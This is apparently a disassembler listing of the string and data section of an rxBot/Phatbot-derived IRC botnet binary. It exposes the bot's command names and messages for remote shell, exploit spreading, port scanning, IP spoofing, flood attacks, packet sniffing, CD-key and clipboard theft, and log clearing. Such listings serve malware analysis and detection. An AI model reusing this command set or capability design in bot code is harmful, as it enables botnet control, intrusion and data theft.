		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42EB04	db  2Dh	; -		; DATA XREF: sub_401AA1+3AADo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aOn		db 'on',0               ; DATA XREF: sub_401AA1+3A8Do
					; sub_401AA1+3BDBo
		align 4
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401AA1+3A76o
aRf		db 'rf',0               ; DATA XREF: sub_401AA1+3A61o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401AA1+3A4Co
		align 10h
aCm		db 'cm',0               ; DATA XREF: sub_401AA1+3A37o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401AA1+3A22o
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401AA1+39F8o
aLi		db 'li',0               ; DATA XREF: sub_401AA1+39E3o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401AA1+39CEo
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401AA1+39B9o
aDelete		db 'delete',0           ; DATA XREF: sub_401AA1+39A4o
					; sub_401AA1+3DB0o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401AA1+398Fo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401AA1+3965o
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: sub_401AA1+3950o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401AA1+393Bo
		align 10h
aDns		db 'dns',0              ; DATA XREF: sub_401AA1+3926o
aHyurtutrrt	db 'hyurtutrrt',0       ; DATA XREF: sub_401AA1+3911o
		align 10h
aS3rv3rfg	db 's3rv3rfg',0         ; DATA XREF: sub_401AA1+38FCo
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401AA1+38BDo
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401AA1+38A8o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401AA1+3893o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401AA1+387Eo
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401AA1+3869o
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401AA1+3854o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401AA1+382Ao
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401AA1+3800o
aPt		db 'pt',0               ; DATA XREF: sub_401AA1+37EBo
		align 4
unk_42EBDC	db  2Dh	; -		; DATA XREF: sub_401AA1+3763o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401AA1+36FFo
aRegister	db 'register',0         ; DATA XREF: sub_401AA1+36D6o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401AA1+367Do
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401AA1+35B3o
dword_42EC3C	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401AA1+355Fo
					; sub_401AA1+3596o
		dd 0
dword_42EC54	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401AA1+3528o
		dd 1
dword_42EC6C	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401AA1+34F1o
					; sub_401AA1+3605o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401AA1+349Fo
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401AA1+340Ao
					; sub_401AA1+3446o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401AA1+33B3o
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401AA1+32C7o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401AA1+3281o
aNick_0		db 'nick',0             ; DATA XREF: sub_401AA1+3184o
					; sub_401AA1+3782o
		align 4
dword_42ECB4	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401AA1+3167o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42ECDC	dd 636364h		; DATA XREF: sub_401AA1+30EAo
dword_42ECE0	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401AA1+2FA3o
dword_42ECEC	dd 4B43494Eh, 732520h	; DATA XREF: sub_401AA1+2F86o
					; sub_401AA1+31DEo ...
dword_42ECF4	dd 69257325h, 0		; DATA XREF: sub_401AA1+2F6Eo
					; sub_409D24+4Eo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401AA1+2F2Eo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401AA1+2F11o
					; sub_401AA1+2FFAo ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401AA1+2EEAo
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401AA1+2ECDo
aPart_0		db 'part',0             ; DATA XREF: sub_401AA1+2EABo
					; sub_401AA1+37D6o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401AA1+2E8Eo
					; sub_401AA1+2FD1o ...
aJoin		db 'join',0             ; DATA XREF: sub_401AA1+2E6Co
					; sub_401AA1+37ACo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401AA1+2E4Fo
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401AA1+2DE6o
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401AA1+2D9Ao
		align 4
dword_42ED5C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401AA1+2D7Do
dword_42ED70	dd 7463h		; DATA XREF: sub_401AA1+2D31o
dword_42ED74	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401AA1+2D14o
					; sub_401AA1+331Eo ...
dword_42ED84	dd 5Fh			; DATA XREF: sub_401AA1+2CE8o
					; sub_401AA1+2D51o ...
dword_42ED88	dd 6D70h		; DATA XREF: sub_401AA1+2CC8o
					; sub_401AA1+3FF1o
unk_42ED8C	db  2Dh	; -		; DATA XREF: sub_401AA1+2C96o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401AA1+2C19o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401AA1+2C02o
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401AA1+2BEDo
aRin		db 'rin',0              ; DATA XREF: sub_401AA1+2BD8o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401AA1+2BC3o
		align 4
unk_42EDEC	db  2Dh	; -		; DATA XREF: sub_401AA1+2BA3o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42EE2C	db  2Dh	; -		; DATA XREF: sub_401AA1+2B47o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401AA1+2ACAo
unk_42EE64	db  2Dh	; -		; DATA XREF: sub_401AA1+2AACo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42EE90	db  2Dh	; -		; DATA XREF: sub_401AA1+2A82o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401AA1+2A4Ao
		align 10h
unk_42EED0	db  2Dh	; -		; DATA XREF: sub_401AA1+29F1o
					; sub_401AA1+2A62o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401AA1:loc_404470o
unk_42EF0C	db  2Dh	; -		; DATA XREF: sub_401AA1+2930o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42EF38	db  2Dh	; -		; DATA XREF: sub_401AA1+2928o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 8
unk_42EF68	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_40437Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
unk_42F018	db  2Dh	; -		; DATA XREF: sub_401AA1+28A2o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_16	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42F058	db  2Dh	; -		; DATA XREF: sub_401AA1+2834o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42F084	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401AA1+279Do
aFailedToSta_17	db '- Failed to start server thread, error: <%d>.',0
		align 10h
dword_42F0C0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401AA1+2744o
					; sub_4106F2+A8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42F0E8	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401AA1+267Ao
dword_42F0F8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401AA1+2675o
dword_42F108	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401AA1+2602o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_404096o
					; sub_401AA1:loc_4088DBo ...
		align 4
dword_42F13C	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401AA1+25E0o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_404074o
		align 10h
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_40405Do
					; sub_401AA1+6C67o
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+25AAo
		align 4
unk_42F18C	db  2Dh	; -		; DATA XREF: sub_401AA1+255Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42F1B8	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401AA1+2520o
		dd 2E7325h
unk_42F1D0	db  2Dh	; -		; DATA XREF: sub_401AA1+24EDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToStartL	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42F20C	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401AA1+248Eo
		dd 65726874h, 2E736461h, 0
dword_42F22C	dd 627573h		; DATA XREF: sub_401AA1+2468o
dword_42F230	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401AA1+2416o
		dd 2E7473h
unk_42F248	db  2Dh	; -		; DATA XREF: sub_401AA1+23E6o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_18	db '- Failed to start listing thread, error: <%d>.',0
dword_42F280	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401AA1+236Fo
		dd 2E676Fh
dword_42F298	dd 7325h		; DATA XREF: sub_401AA1+233Co
					; sub_401AA1+3D14o ...
dword_42F29C	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401AA1+22E8o
		dd 6F666E49h, 2Eh
dword_42F2B8	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401AA1+22B9o
		dd 2E6F666Eh, 0
dword_42F2D4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401AA1+2264o
		dd 746F4220h, 2Eh
unk_42F2F0	db  2Dh	; -		; DATA XREF: sub_401AA1+2233o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_19	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42F32C	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401AA1+21D4o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401AA1+21B4o
		align 10h
unk_42F350	db  2Dh	; -		; DATA XREF: sub_401AA1+2155o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_1	db ' Already running.',0
		align 10h
dword_42F370	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401AA1+212Co
aSearchComplete	db '- Search completed.',0
dword_42F390	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401AA1+20DDo
		dd 2E7325h
unk_42F3A8	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_403AB4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42F3C8	db  2Dh	; -		; DATA XREF: sub_401AA1+200Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_42F3F0	db  2Dh	; -		; DATA XREF: sub_401AA1+1FF0o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42F41C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401AA1+1FDAo
		dd 72616F62h, 2E64h
dword_42F438	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401AA1+1FACo
		dd 2Dh
unk_42F450	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_403A2Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42F47C	db  2Dh	; -		; DATA XREF: sub_401AA1+1F87o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_42F4A0	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_403A0Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42F4CC	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_403A05o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42F4F8	db  2Dh	; -		; DATA XREF: sub_401AA1+1F5Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42F51C	db  2Dh	; -		; DATA XREF: sub_401AA1+1EEFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_20	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42F558	db  2Dh	; -		; DATA XREF: sub_401AA1+1E96o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42F594	db  2Dh	; -		; DATA XREF: sub_401AA1+1DA1o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42F5D0	db  2Dh	; -		; DATA XREF: sub_401AA1+1D48o
					; sub_40AAE8+440o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42F60C	db  2Dh	; -		; DATA XREF: sub_401AA1+1C2Co
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_22	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42F648	db  2Dh	; -		; DATA XREF: sub_401AA1+1BD3o
					; sub_40AAE8+D7o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42F67C	db  2Dh	; -		; DATA XREF: sub_401AA1+1B26o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42F69C	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_4035B1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_23	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42F6D4	db  2Dh	; -		; DATA XREF: sub_401AA1+1AAEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_24	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42F710	db  2Dh	; -		; DATA XREF: sub_401AA1+1A4Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401AA1+1A24o
					; sub_401AA1+533Eo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401AA1+1A1Do
					; sub_401AA1+5337o
		align 10h
unk_42F790	db  2Dh	; -		; DATA XREF: sub_401AA1+186Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+1801o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401AA1+17E6o
		align 10h
aAll1		db 'all1',0             ; DATA XREF: sub_401AA1+17C4o
					; sub_401AA1+17D5o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401AA1+17AFo
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401AA1+179Ao
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401AA1+1770o
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401AA1+175Bo
		align 10h
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401AA1+1746o
		align 10h
aCip		db 'cip',0              ; DATA XREF: sub_401AA1+1731o
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401AA1+171Co
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: sub_401AA1+1707o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401AA1+16F2o
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401AA1+16DDo
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401AA1+16C8o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401AA1+16B3o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401AA1+169Eo
unk_42F884	db  2Dh	; -		; DATA XREF: sub_401AA1+1660o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401AA1+1645o
					; sub_401AA1+371Co ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401AA1+162Eo
		align 4
unk_42F8B8	db  2Dh	; -		; DATA XREF: sub_401AA1+1610o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401AA1+15D8o
					; sub_40A1ED+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401AA1:loc_40306Ao
dword_42F8EC	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401AA1+159Eo
dword_42F900	dd 6F6877h		; DATA XREF: sub_401AA1+1581o
dword_42F904	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401AA1+1576o
dword_42F910	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401AA1+1571o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401AA1+1558o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401AA1+1543o
		align 10h
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401AA1+152Eo
aDll		db 'dll',0              ; DATA XREF: sub_401AA1+1519o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401AA1+1504o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401AA1+14EFo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401AA1+14DAo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401AA1+14C5o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401AA1+14B0o
		align 4
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401AA1+1486o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401AA1+1471o
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401AA1+145Co
		align 4
aRrmm010kt	db 'rrmm010kt',0        ; DATA XREF: sub_401AA1+1432o
					; sub_401AA1+1447o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401AA1+141Do
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401AA1+1408o
aNi		db 'ni',0               ; DATA XREF: sub_401AA1+13F3o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401AA1+13DEo
aClg		db 'clg',0              ; DATA XREF: sub_401AA1+13C9o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401AA1+13B4o
		align 10h
aL0g		db 'l0g',0              ; DATA XREF: sub_401AA1+139Fo
aLo0g		db 'lo0g',0             ; DATA XREF: sub_401AA1+138Ao
		align 4
aAl		db 'al',0               ; DATA XREF: sub_401AA1+1375o
		align 10h
aThreads	db 'threads',0          ; DATA XREF: sub_401AA1+1336o
unk_42F9C8	db  2Dh	; -		; DATA XREF: sub_401AA1+1302o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 10h
unk_42F9F0	db  2Dh	; -		; DATA XREF: sub_401AA1+12FBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 10h
aReboot		db 'reboot',0           ; DATA XREF: sub_401AA1+12E4o
		align 4
aIws		db 'iws',0              ; DATA XREF: sub_401AA1+12CFo
aIdws		db 'idws',0             ; DATA XREF: sub_401AA1+12BAo
		align 4
aStatus		db 'status',0           ; DATA XREF: sub_401AA1+1290o
		align 4
aQuit_0		db 'quit',0             ; DATA XREF: sub_401AA1+1266o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401AA1+1251o
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401AA1+123Co
		align 4
aR:					; DATA XREF: sub_401AA1+1227o
					; sub_401AA1+3815o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401AA1+1212o
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401AA1+11FDo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401AA1+11E8o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401AA1+11D3o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401AA1+11BEo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401AA1+11A9o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401AA1+1194o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401AA1+117Fo
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401AA1+116Ao
		align 10h
dword_42FAB0	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401AA1+115Fo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401AA1+115Ao
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401AA1+1141o
		align 10h
dword_42FAD0	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401AA1+1136o
aSecure		db 'Secure',0           ; DATA XREF: sub_401AA1+1131o
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401AA1+1118o
		align 4
dword_42FAF4	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401AA1+110Do
aClone		db 'Clone',0            ; DATA XREF: sub_401AA1+1108o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401AA1+10EFo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401AA1+10DAo
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401AA1+10C5o
		align 4
dword_42FB2C	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401AA1+10BAo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401AA1+109Co
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401AA1+1073o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401AA1+104Ao
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401AA1+1021o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401AA1+FF8o
unk_42FB74	db  2Dh	; -		; DATA XREF: sub_401AA1+FE1o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42FBA8	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401AA1+FACo
					; sub_401AA1+103Fo
dword_42FBB8	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401AA1+FA7o
					; sub_401AA1+103Ao
